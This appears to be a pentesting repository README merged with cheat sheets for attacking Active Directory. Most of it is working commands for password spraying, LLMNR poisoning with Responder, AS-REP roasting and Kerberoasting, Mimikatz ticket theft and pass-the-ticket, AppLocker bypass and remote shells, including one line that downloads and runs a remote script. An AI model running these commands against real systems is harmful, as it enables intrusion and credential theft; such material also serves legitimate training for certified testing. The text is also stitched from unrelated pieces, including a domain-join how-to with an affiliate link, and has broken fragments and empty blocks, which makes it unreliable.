# Hacknetics
## Hacknetics π‘οΈ
**Owner:** [ice-wzl](https://github.com/ice-wzl)
**Contributors:** ice-wzl, Jfox32199
**Please consider donating:** [**https://buymeacoffee.com/icewzl**](https://buymeacoffee.com/icewzl)
**Description:** Your one-stop reference for OSCP and Red Teaming! π This repository contains a curated collection of code snippets, guides, command syntax, and high-level strategies. Clone it once and gain access to popular pentesting tools and resources.
**Topics/Tags:** `bash-script`, `batch-script`, `educational`, `linux`, `linux-shell`, `oscp`, `oscp-guide`, `oscp-journey`, `pentest-scripts`, `pentesting`, `pentesting-networks`, `pentesting-tools`, `pentesting-windows`, `powershell`, `python3`, `redteaming`, `vbscript`
### π Dive Deeper with the GitBook!
For a more structured and in-depth exploration of the Hacknetics resources, check out the GitBook:
* [**https://book.ice-wzl.xyz**](https://book.ice-wzl.xyz)
* [**https://ice-wzl.gitbook.io/hacknetics/**](https://ice-wzl.gitbook.io/hacknetics/)
The GitBook provides a better reading experience, improved navigation, and additional context for the materials in this repository. We highly recommend checking it out!
### π οΈ Keep a Local Copy
#### Prerequisites
* A Linux environment (Kali Linux, Parrot OS, etc.) is highly recommended.
* Ensure you have `git` installed:
```bash
sudo apt update
sudo apt install git
```
#### Cloning the Repository
Clone the Hacknetics repository to your local machine:
```bash
git clone https://github.com/ice-wzl/Hacknetics.git
cd Hacknetics
```
### β¨ Key Features
* **Comprehensive Resource:** A centralized location for all your OSCP and Red Teaming needs.
* **Code Snippets:** Ready-to-use code in various languages (Shell, Python, PowerShell, VBScript).
* **Guides & Strategies:** High-level strategies and step-by-step guides for pentesting.
* **Popular Tools:** Access to commonly used pentesting tools and their syntax.
* **Regularly Updated:** Maintained with the latest techniques and tools.
### π License
This project is released under a free and unencumbered software license, dedicating it to the public domain. See the LICENSE file for more details.
### π€ Contributing
Contributions are welcome! If you have useful scripts, guides, or improvements, feel free to submit a pull request.
1. Fork the repository.
2. Create a new branch for your feature or bug fix.
3. Commit your changes with descriptive commit messages.
4. Push your branch to your forked repository.
5. Submit a pull request.
### π Acknowledgements
Special thanks to our sponsors:
* Medium Corporation
* SynAck RedTeam
### Star History
# How to Join a Windows 11 PC to a Domain
### Things You Need to Join a Windows 11 PC to a Domain
If you want to join a domain, the following is needed:
* A Windows 11 PC running **Windows 11 Professional, Enterprise,** or **Education**.
* A suitable account on an **Active Directory** domain (with a username and password).
* The device is on the same network (it works [over a VPN connection](https://go.gplink.io/nordvpn)) as the domain with access to the **domain controller**.
Joining a Windows 11 PC to a domain isnβt an easy step for beginners, and weβll be using industry-specific terms in this article. If youβre unsure, make sure to consult with a network administrator before you begin.
### How to Join a Windows 11 PC to a Domain
If you think youβre ready to join your Windows 11 PC to a domain, and youβre on the same network, you can start now.
**To join a Windows 11 PC to a domain:**
1. Open the **Start** menu and press **Settings**.
2. In Settings, press **Accounts > Access work or school** and click on the **Connect** button.
3. Select the **Join this device to a local Active Directory domain** option.
# Active Directory AD Attacks
{% embed url=" /domain` | User info |
| `net user /domain` | All domain users |
| `net view` | List computers |
| `net view /domain` | PCs in the domain |
* **Tip:** Use `net1` instead of `net` to potentially avoid detection
## Dsquery (on DCs or hosts with AD DS role)
```powershell
# User search
dsquery user
# Computer search
dsquery computer
# Wildcard search in OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
# Users with PASSWD_NOTREQD
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl
# Domain Controllers
dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName
# Users with descriptions (may contain passwords)
dsquery * -filter "(&(objectClass=user)(description=*))" -attr samAccountName description
```
### LDAP Filter OID Match Strings
* `1.2.840.113556.1.4.803` - Bit value must match completely (AND)
* `1.2.840.113556.1.4.804` - Any bit match (OR)
* `1.2.840.113556.1.4.1941` - Match Distinguished Name (recursive membership)
## Check Who Else is Logged In
```powershell
qwinsta
```
# Credentialed AD Enumeration
## From Linux
### NetExec
Why `-t 1` for most commands?
* Often times in domains we are operating through some sort of tunnel / pivot like Ligolo/Chisel etc. `nxc` uses 256 threads by default which is a bit aggressive, can cause tunnel issues, is alot of network traffic. In most labs its probably ok.
```bash
# Domain user enumeration (with badpwdcount)
nxc smb 172.16.5.5 -u forend -p Klmcargo2 -t 1 --users
# Domain group enumeration
nxc smb 172.16.5.5 -u forend -p Klmcargo2 -t 1 --groups
# Get members of a specific group
netexec ldap -u -p -t 1 --groups "Domain Admins"
# Logged on users
nxc smb 172.16.5.130 -u forend -p Klmcargo2 -t 1 --loggedon-users
# Share enumeration
nxc smb 172.16.5.5 -u forend -p Klmcargo2 -t 1 --shares
# Spider shares for files
nxc smb 172.16.5.5 -u forend -p Klmcargo2 -t 5 -M spider_plus --share 'Department Shares'
# Search share content for keywords
netexec smb -u -p -t 5 --spider --content --pattern "passw"
# Download file from share
netexec smb -u -p -t 1 --share --get-file '\path\to\file' /tmp/localfile
# Cat file via exec (requires admin)
netexec smb -u -H "" -t 1 --share C$ -X "type C:\path\to\file.txt"
```
* Results for spider\_plus written to `~/home//.nxc`
### NetExec LDAP Modules
```bash
# List module options
netexec ldap -u -p -t 1 -M --options
# Run module with options
netexec ldap -u -p -t 1 -M -o KEY="value"
# Group membership of specific user
netexec ldap -u -p -t 1 -M groupmembership -o USER="targetuser"
# Find obsolete operating systems
netexec ldap -u -p -t 1 -M obsolete
# Full user list (better than ldapsearch for large domains)
netexec ldap -u -p -d -t 1 --users
# GPP autologin creds
netexec smb -u -p -t 1 -M gpp_autologin
# SYSVOL password hunting (Can miss things) double check with snaffler
netexec smb -d -u -p -t 1 -M gpp_password
# machine account quota (RBCD)
nxc ldap "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" -M maq
```
### ldapsearch
```bash
# Default ldapsearch is limited to 1000 results!
# Use -E pr=1000/noprompt for pagination
ldapsearch -H ldap:// -x -D "domain\\user" -w 'password' \
-b "DC=domain,DC=local" -s sub "(objectClass=user)" sAMAccountName \
-E pr=1000/noprompt | awk '/^sAMAccountName:/ {print $2}' > users.txt
```
### SMBMap
```bash
# Check share access
smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5
# Recursive directory listing
smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R 'Tool Share' --dir-only
```
### rpcclient
```bash
# Unauthenticated (NULL session)
rpcclient -U '%' -N 172.16.5.5
# Authenticated
rpcclient -U "forend%Klmcargo2" 172.16.5.5
# Useful commands inside rpcclient
enumdomusers
queryuser 0x457
querydominfo
getdompwinfo
```
### Impacket
#### psexec.py (SYSTEM shell via SMB)
```bash
impacket-psexec inlanefreight.local/wley:'transporter@4'@172.16.5.125
```
* Creates remote service, uploads executable to ADMIN$ share
* Gives SYSTEM shell
#### wmiexec.py (Stealthier, runs as connected user)
```bash
impacket-wmiexec inlanefreight.local/wley:'transporter@4'@172.16.5.5
```
* Semi-interactive shell via WMI
* Less noisy, but each command spawns cmd.exe (event ID 4688)
### Windapsearch
```bash
# Domain Admins
python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 --da
# Privileged Users (recursive nested group lookup)
python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 -PU
```
### BloodHound.py
```bash
sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all
```
* Upload JSON files to BloodHound GUI
* Start neo4j: `sudo neo4j start`
* Default creds: `neo4j:neo4j`
### BloodHound CE Python
Use `bloodhound-ce-python` for BloodHound Community Edition collections:
```bash
sudo bloodhound-ce-python -u user@domain.local -p 'PASSWORD' -ns DC_IP --dns-tcp --zip -d domain.local -c All
```
Expected output includes domain, computer, user, group, GPO, OU, and container collection before compressing a zip for upload:
```
INFO: Found AD domain: domain.local
INFO: Found 1 computers
INFO: Found 18 users
INFO: Found 52 groups
INFO: Found 2 gpos
INFO: Compressing output into YYYYMMDDHHMMSS_bloodhound.zip
```
Use BloodHound to check for edges such as `ReadLAPSPassword` from the compromised user to a computer.
## From Windows
### PowerView
* Use the maintained fork from BC-SECURITY:
```powershell
Import-Module .\PowerView.ps1
# User info
Get-DomainUser -Identity mmorgan -Domain inlanefreight.local | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,useraccountcontrol
# Recursive group membership
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
# Trust mapping
Get-DomainTrustMapping
# Test local admin access
Test-AdminAccess -ComputerName ACADEMY-EA-MS01
# Find users with SPNs (kerberoastable)
Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName
# Find interesting ACLs
Find-InterestingDomainAcl
# Find local admin access across domain
Find-LocalAdminAccess
# Find where specific users are logged in
Find-DomainUserLocation
# Find interesting domain share files
Find-InterestingDomainShareFile
# Accounts not requiring a password
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol
# Users with descriptions (may contain passwords)
Get-DomainUser * | Select samaccountname,description | ?{$_.Description -ne $null}
```
### SharpView (.NET port of PowerView)
```powershell
.\SharpView.exe Get-DomainUser -Identity forend
```
### Snaffler (Credential/Sensitive File Hunter)
```powershell
Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data
```
* Enumerates hosts, shares, readable directories
* Hunts for credentials, keys, config files
* Color-coded output (Red = high value, Green = shares found)
Pay attention to SYSVOL script folders, including binaries and adjacent `.config` files, not just `.ps1`/`.vbs` scripts:
```
\\DOMAIN\SYSVOL\DOMAIN\scripts\ResetPassword\
ResetPassword.exe
ResetPassword.exe.config
```
If a SYSVOL binary looks custom, download it and inspect strings or decompile it. Hardcoded service credentials in helper tools can expose accounts such as `svc_helpdesk`:
```bash
strings ResetPassword.exe
```
### SharpHound (BloodHound Collector)
```powershell
.\SharpHound.exe -c All --zipfilename ILFREIGHT
```
### LAPSToolkit
```powershell
Import-Module .\LAPSToolkit.ps1
Find-LAPSDelegatedGroups
Find-AdmPwdExtendedRights
Get-LAPSComputers
```
## Privileged Access Enumeration
### RDP Access
```powershell
# powerview
Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Desktop Users"
```
### WinRM Access
```powershell
# powerview
Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users"
```
### Connecting via WinRM
```powershell
# From Windows
$password = ConvertTo-SecureString "Klmcargo2" -AsPlainText -Force
$cred = new-object System.Management.Automation.PSCredential ("INLANEFREIGHT\forend", $password)
Enter-PSSession -ComputerName ACADEMY-EA-MS01 -Credential $cred
```
```bash
# From Linux
evil-winrm -i 10.129.201.234 -u -p ''
```
### SQL Server Access
```powershell
# PowerUpSQL
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain
Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query 'Select @@version'
```
```bash
# Impacket
impacket-mssqlclient INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth
enable_xp_cmdshell
xp_cmdshell whoami /priv
```
### BloodHound Cypher Queries for Remote Access
```
# WinRM users with dangerous rights
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2
# SQL Admin users
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2
```
# AppLocker Bypasses
* This list contains generic methods of bypassing AppLocker.
### AppLocker Enumeration
```powershell
(Get-AppLockerPolicy -Local).RuleCollections
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
# Test if a specific binary would be allowed
Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone
Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\
```
### Placing files in writeable paths
* The following folders are by default writable by normal users (depends on Windows version - This is from W10 1803)
```
C:\Windows\Tasks
C:\Windows\Temp
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
```
### Checking for Access
* You can check the for additional paths by running accesschk from sysinternals and supplying these commands:
```
accesschk -w -s -q -u Users "C:\Program Files" >> programfiles.txt
accesschk -w -s -q -u Everyone "C:\Program Files" >> programfiles.txt
accesschk -w -s -q -u "Authenticated Users" "C:\Program Files" >> programfiles.txt
accesschk -w -s -q -u Interactive "C:\Program Files" >> programfiles.txt
accesschk -w -s -q -u Users "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Everyone "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u "Authenticated Users" "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Interactive "C:\Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Users "C:\Windows" >> windows.txt
accesschk -w -s -q -u Everyone "C:\Windows" >> windows.txt
accesschk -w -s -q -u "Authenticated Users" "C:\Windows" >> windows.txt
accesschk -w -s -q -u Interactive "C:\Windows" >> windows.txt
```
### User writeable files
* There are cases where files are writeable by the user and can be used to bypass AppLocker. One such known case is 3 files under C:\windows\system32\AppLocker called:
* `AppCache.dat`
* `AppCache.dat.LOG1`
* `AppCache.dat.LOG2`
* These files are writeable by the first user that logs on to the computer after AppLocker has been deployed to the machine. More details here:
*
Example on adding binary to a writable file under program files (using ADS):
```
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
```
\
# LLMNR/NBT-NS Poisoning
## Overview
* LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) are alternate name resolution methods when DNS fails
* LLMNR uses port 5355/UDP, NBT-NS uses port 137/UDP
* ANY host on the network can reply to these requests - this is where we poison
* We spoof an authoritative name resolution source to capture NTLMv1/v2 hashes
* Combined with lack of SMB signing, can lead to SMB Relay attacks
## Attack Flow
1. Host attempts to connect to \print01.inlanefreight.local but mistypes it
2. DNS server responds - host unknown
3. Host broadcasts to the local network asking if anyone knows the location
4. Attacker (running Responder) responds claiming to be the requested host
5. Host sends authentication request with username and NTLMv2 password hash
6. Hash can be cracked offline or used in SMB Relay
## Responder (Linux)
### Passive Analysis Mode
```bash
sudo responder -I ens224 -A
```
### Active Poisoning (Default)
```bash
sudo responder -I ens224
```
### Common Flags
* `-A` - Analyze mode (passive, no poisoning)
* `-wf` - Start WPAD rogue proxy + fingerprint remote OS
* `-v` - Verbose output
* `-F` - Force NTLM auth on WPAD (may cause login prompt)
* `-P` - Force proxy auth (use sparingly)
### Responder Logs
* Hashes saved to `/usr/share/responder/logs/`
* Format: `(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt`
* Also stored in SQLite database (configurable in `Responder.conf`)
### Required Ports
```
UDP 137, UDP 138, UDP 53, UDP/TCP 389, TCP 1433, UDP 1434, TCP 80, TCP 135, TCP 139, TCP 445, TCP 21, TCP 3141, TCP 25, TCP 110, TCP 587, TCP 3128, Multicast UDP 5355 and 5353
```
### Protocols Supported
* LLMNR, DNS, MDNS, NBNS, DHCP, ICMP, HTTP, HTTPS, SMB, LDAP, WebDAV, Proxy Auth, MSSQL, DCE-RPC, FTP, POP3, IMAP, SMTP auth
## Inveigh (Windows)
### PowerShell Version
```powershell
Import-Module .\Inveigh.ps1
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
```
### C# Version (InveighZero)
```powershell
.\Inveigh.exe
```
* Press ESC to enter interactive console
* Type `HELP` for available commands:
* `GET NTLMV2UNIQUE` - View unique captured NTLMv2 hashes
* `GET NTLMV2USERNAMES` - View usernames and source IPs
* `GET CLEARTEXT` - View captured cleartext credentials
* `STOP` - Stop Inveigh
## Cracking Captured Hashes
### NTLMv2 with Hashcat
```bash
hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt
```
* NetNTLMv2 hashes CANNOT be used for pass-the-hash - must be cracked offline
* NTLMv1 hashes use mode 5500
## Remediation
* Disable LLMNR via Group Policy: Computer Configuration > Administrative Templates > Network > DNS Client > "Turn OFF Multicast Name Resolution"
* Disable NBT-NS: Network adapter properties > IPv4 > Advanced > WINS > "Disable NetBIOS over TCP/IP"
* NBT-NS can be disabled via GPO startup script:
```powershell
$regkey = "HKLM:SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces"
Get-ChildItem $regkey | foreach { Set-ItemProperty -Path "$regkey\$($_.pschildname)" -Name NetbiosOptions -Value 2 -Verbose}
```
* Enable SMB Signing to prevent NTLM relay
* Network segmentation
* Monitor ports UDP 5355 and 137
* Monitor event IDs 4697 and 7045
# Password Spraying
## Overview
* Password spraying attempts to log into an exposed service using one common password and a longer list of usernames
* Less likely to lock out accounts than brute force
* Must always respect the domain password policy lockout threshold
* If you don't know the password policy, wait a few hours between attempts or limit to one attempt as a "hail mary"
## Enumerating the Password Policy
### From Linux - Credentialed
```
nxc smb 172.16.5.5 -u avazquez -p Password123 --pass-pol
```
### From Linux - SMB NULL Session
```
# rpcclient
rpcclient -U '%' -N 172.16.5.5
getdompwinfo
# enum4linux
enum4linux -P 172.16.5.5
# enum4linux-ng (better output, JSON/YAML export)
python3 enum4linux-ng.py 192.168.125.131 -u Tester -p 'Start123!' -oY out
```
### From Linux - LDAP Anonymous Bind
```
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
```
### From Windows
```
# net.exe
net accounts
# PowerView
Import-Module .\PowerView.ps1
Get-DomainPolicy
```
## Building a Target User List
### Public Website Names
Company websites often expose staff names on pages such as `/Team`. Convert those names to likely AD usernames and validate them with Kerberos user enumeration:
```bash
username-anarchy "Joanne Lewis" > /tmp/usernames.txt
kerbrute userenum --dc DC_IP --domain domain.local /tmp/usernames.txt -v
```
If one naming format is valid, generate the same pattern for all names. For example, `first.last`:
```
Joanne.Lewis
Matthew.Harrison
Rebecca.Bell
```
### SMB NULL Session
```
# enum4linux, part of default checks
python3 enum4linux-ng.py 192.168.125.131
# rpcclient
rpcclient -U '%' -N 172.16.5.5
enumdomusers
# NetExec (also shows badpwdcount)
nxc smb 172.16.5.5 --users
```
### LDAP Anonymous Bind
```
# ldapsearch
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "
# windapsearch
./windapsearch.py --dc-ip 172.16.5.5 -u "" -U
```
### Kerbrute (No Domain Access Required)
```
kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt
```
* Does not generate event ID 4625 (failed logon)
* Generates event ID 4768 (TGT requested)
* Use wordlists from
* **Output format:** kerbrute returns `username@domain.local` - strip the domain part when building wordlists for other tools
* **KDC\_ERR\_ETYPE\_NOSUPP:** This error does NOT mean invalid creds - the credential may still be valid. Verify with netexec or rpcclient
### With Valid Credentials
```
sudo nxc smb 172.16.5.5 -u htb-student -p Academy_student_AD! --users
```
## Performing the Attack
### From Linux
#### rpcclient Bash One-Liner
```
for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done
```
#### Kerbrute
```
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1
```
#### NetExec
```
sudo nxc smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +
sudo nxc smb 172.16.5.5 -u valid_users.txt -p Password123 --continue-on-success | grep +
```
#### Validate Credentials
```
sudo nxc smb 172.16.5.5 -u avazquez -p Password123 -t 1
```
### From Windows
#### DomainPasswordSpray.ps1
```
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue
```
* Automatically generates user list from AD
* Queries the domain password policy
* Excludes accounts within one attempt of locking out
## Local Admin Password Reuse
* If you obtain the local admin NTLM hash, spray it across the subnet
* Use `--local-auth` flag to avoid domain account lockout
```
sudo nxc smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf --continue-on-success | grep +
```
## Common Passwords to Try
* Season+Year (Spring2022, Winter2021, Fall\@21)
* Welcome1, Password1, Password123
* Company name + numbers/special chars
* Month + Year patterns
### Build Season+Year Lists from Site Dates
If the target website exposes a copyright or build year, generate seasonal passwords around that year. For example, a `Β© 2023` footer led to `Summer2023`.
```bash
cat seasons.txt
summer
winter
spring
fall
```
Simple rule for `SeasonYYYY`, plus a few common suffix variants:
```
$2 $0 $2 $3
$2 $0 $2 $3 $!
$2 $0 $2 $3 $! $@
$2 $0 $2 $3 $! $@ $#
c $2 $0 $2 $3
c $2 $0 $2 $3 $!
c $2 $0 $2 $3 $! $@
c $2 $0 $2 $3 $! $@ $#
```
Generate and spray carefully:
```bash
hashcat -r season.rule --stdout seasons.txt > simple-seasons.txt
nxc ldap DOMAIN -d DOMAIN -u users.txt -p simple-seasons.txt -t 3 | grep '+'
```
## Mitigations
* Multi-factor authentication
* Restrict application access (principle of least privilege)
* Separate admin accounts for administrative activities
* Password filters to restrict common dictionary words
* Monitor event ID 4625 (failed logon) and 4771 (Kerberos pre-authentication failed)
## External Password Spraying Targets
* Microsoft 365 / Outlook Web Exchange
* VPN portals (Citrix, SonicWall, OpenVPN, Fortinet)
* Citrix portals, RDS portals
* VDI implementations (VMware Horizon)
* Custom web applications using AD authentication
# Pentesting Kerberos
## What is Kerberos
* Kerberos is the default authentication service for Microsoft Windows domains.
* It is intended to be more "secure" than NTLM by using third party ticket authorization as well as stronger encryption.
## Basic Terms
* Ticket Granting Ticket (TGT) - A ticket-granting ticket is an authentication ticket used to request service tickets from the TGS for specific resources from the domain.
* Key Distribution Center (KDC) - The Key Distribution Center is a service for issuing TGTs and service tickets that consist of the Authentication Service and the Ticket Granting Service.
* Authentication Service (AS) - The Authentication Service issues TGTs to be used by the TGS in the domain to request access to other machines and service tickets.
* Ticket Granting Service (TGS) - The Ticket Granting Service takes the TGT and returns a ticket to a machine on the domain.
* Service Principal Name (SPN) - A Service Principal Name is an identifier given to a service instance to associate a service instance with a domain service account. Windows requires that services have a domain service account which is why a service needs an SPN set.
* KDC Long Term Secret Key (KDC LT Key) - The KDC key is based on the KRBTGT service account. It is used to encrypt the TGT and sign the PAC.
* Client Long Term Secret Key (Client LT Key) - The client key is based on the computer or service account. It is used to check the encrypted timestamp and encrypt the session key.
* Service Long Term Secret Key (Service LT Key) - The service key is based on the service account. It is used to encrypt the service portion of the service ticket and sign the PAC.
* Session Key - Issued by the KDC when a TGT is issued. The user will provide the session key to the KDC along with the TGT when requesting a service ticket.
* Privilege Attribute Certificate (PAC) - The PAC holds all of the user's relevant information, it is sent along with the TGT to the KDC to be signed by the Target LT Key and the KDC LT Key in order to validate the user.
## Kerberos Authentication Overview
*
```
### Abusing Pre-Authentication Overview
* By brute-forcing Kerberos pre-authentication, you do not trigger the account failed to log on event which can throw up red flags to blue teams.
* When brute-forcing through Kerberos you can brute-force by only sending a single UDP frame to the KDC allowing you to enumerate the users on the domain from a wordlist.
### Kerbrute Installation
* Download a precompiled binary for your OS -
* Rename kerbrute\_linux\_amd64 to kerbrute
* `chmod +x kerbrute` - make kerbrute executable
### Enumerating Users w/ Kerbrute
* Enumerating users allows you to know which user accounts are on the target domain and which accounts could potentially be used to access the network.
```
kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o valid_ad_users
```
* This will brute force user accounts from a domain controller using a supplied wordlist
*
```
```
*
```
*
*
*
*
*
# Kerberos cheatsheet
## Bruteforcing
With [kerbrute.py](https://github.com/TarlogicSecurity/kerbrute):
```shell
python kerbrute.py -domain -users -passwords -outputfile
```
With [Rubeus](https://github.com/Zer1t0/Rubeus) version with brute module:
```shell
# with a list of users
.\Rubeus.exe brute /users: /passwords: /domain: /outfile:
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords: /outfile:
```
## ASREPRoast
### Enumeration
```powershell
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl
```
### Linux (Impacket)
```shell
# With credentials
python GetNPUsers.py /: -request -format -outputfile
# No credentials - spray a user list
GetNPUsers.py / -dc-ip -no-pass -usersfile valid_ad_users
# Single user no password
python3 GetNPUsers.py COMPANY.local/james -no-pass -dc-ip 172.16.1.20
```
### Windows (Rubeus)
```powershell
.\Rubeus.exe asreproast /user: /nowrap /format:hashcat
# All users in current domain
.\Rubeus.exe asreproast /format: /outfile:
```
### Cracking
```shell
hashcat -m 18200 asrep_hashes /usr/share/wordlists/rockyou.txt
john --wordlist=
```
### SPN Service Principal Name Overview
* The structure of an SPN consists of three (3) main parts: **Service Class**: the service type, i.e., *SQL, Web, Exchange, File,* etc., and the **Host** where the service is usually running in the format of **FQDN** *(Fully Qualified Domain Name)*and **port number**.
* For example, below, the Microsoft SQL service runs on the **`dcorp-mgmt`** host on port 1443.
The SPN is **`MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local:1433`**
## Kerberoasting
* Great reading:
*
### Enumeration
```powershell
# PowerView - find kerberoastable accounts
Import-Module .\PowerView.ps1
Get-DomainUser * -SPN | Select samaccountname,ServicePrincipalName
# setspn.exe (built-in)
setspn.exe -Q */*
```
### Impacket (Linux)
```shell
python GetUserSPNs.py /: -outputfile
python3 GetUserSPNs.py active.htb/svc_tgs:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
```
If you get **KRB\_AP\_ERR\_SKEW(Clock skew too great)**, sync time with the DC: `ntpdate `
### Rubeus
```shell
.\Rubeus.exe kerberoast /outfile:
# Stats first (check RC4 vs AES, prioritize RC4)
.\Rubeus.exe kerberoast /stats
# Filter for high-value targets
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap
# Target specific user
.\Rubeus.exe kerberoast /user: /nowrap
```
### PowerShell
```powershell
# Invoke-Kerberoast.ps1
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Import-Module .\invoke-kerberoast.ps1
Invoke-Kerberoast -Domain active.htb -OutputFormat Hashcat | fl
Invoke-Kerberoast -OutputFormat | % { $_.Hash } | Out-File -Encoding ASCII
# PowerView - request ticket for specific user
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\tgs.csv -NoTypeInformation
```
### Native PowerShell (.NET)
```powershell
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/host.domain.local:1433"
```
### Cracking
```shell
hashcat -m 13100 --force
john --format=krb5tgs --wordlist=
```
### Mimikatz Ticket Export
```
mimikatz # kerberos::list /export
```
```
Import-Module .\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command '"kerberos::list /export"'
```
### Targeted Kerberoasting (via GenericAll/GenericWrite)
* If you have write access over a user, set a fake SPN then Kerberoast it
```powershell
Set-DomainObject -Credential $Cred -Identity -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
.\Rubeus.exe kerberoast /user: /nowrap
# Cleanup after cracking
Set-DomainObject -Credential $Cred -Identity -Clear serviceprincipalname -Verbose
```
### Harvest tickets from Windows
With [Mimikatz](https://github.com/gentilkiwi/mimikatz):
```shell
mimikatz # sekurlsa::tickets /export
```
With [Rubeus](https://github.com/GhostPack/Rubeus) in Powershell:
```shell
.\Rubeus dump
# After dump with Rubeus tickets in base64, to write the in a file
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String(""))
```
To convert tickets between Linux/Windows format with [ticket\_converter.py](https://github.com/Zer1t0/ticket_converter):
```
python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbi
```
### Using ticket in Linux:
With [Impacket](https://github.com/SecureAuthCorp/impacket) examples:
```shell
# Set the ticket for impacket use
export KRB5CCNAME=
# Execute remote commands with any of the following by using the TGT
python psexec.py /@ -k -no-pass
python smbexec.py /@ -k -no-pass
python wmiexec.py /@ -k -no-pass
```
### Using ticket in Windows
Inject ticket with [Mimikatz](https://github.com/gentilkiwi/mimikatz):
```shell
mimikatz # kerberos::ptt
```
Inject ticket with [Rubeus](https://github.com/GhostPack/Rubeus):
```shell
.\Rubeus.exe ptt /ticket:
```
Execute a cmd in the remote machine with [PsExec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec):
```shell
.\PsExec.exe -accepteula \\ cmd
```
## Misc
To get NTLM from password:
```python
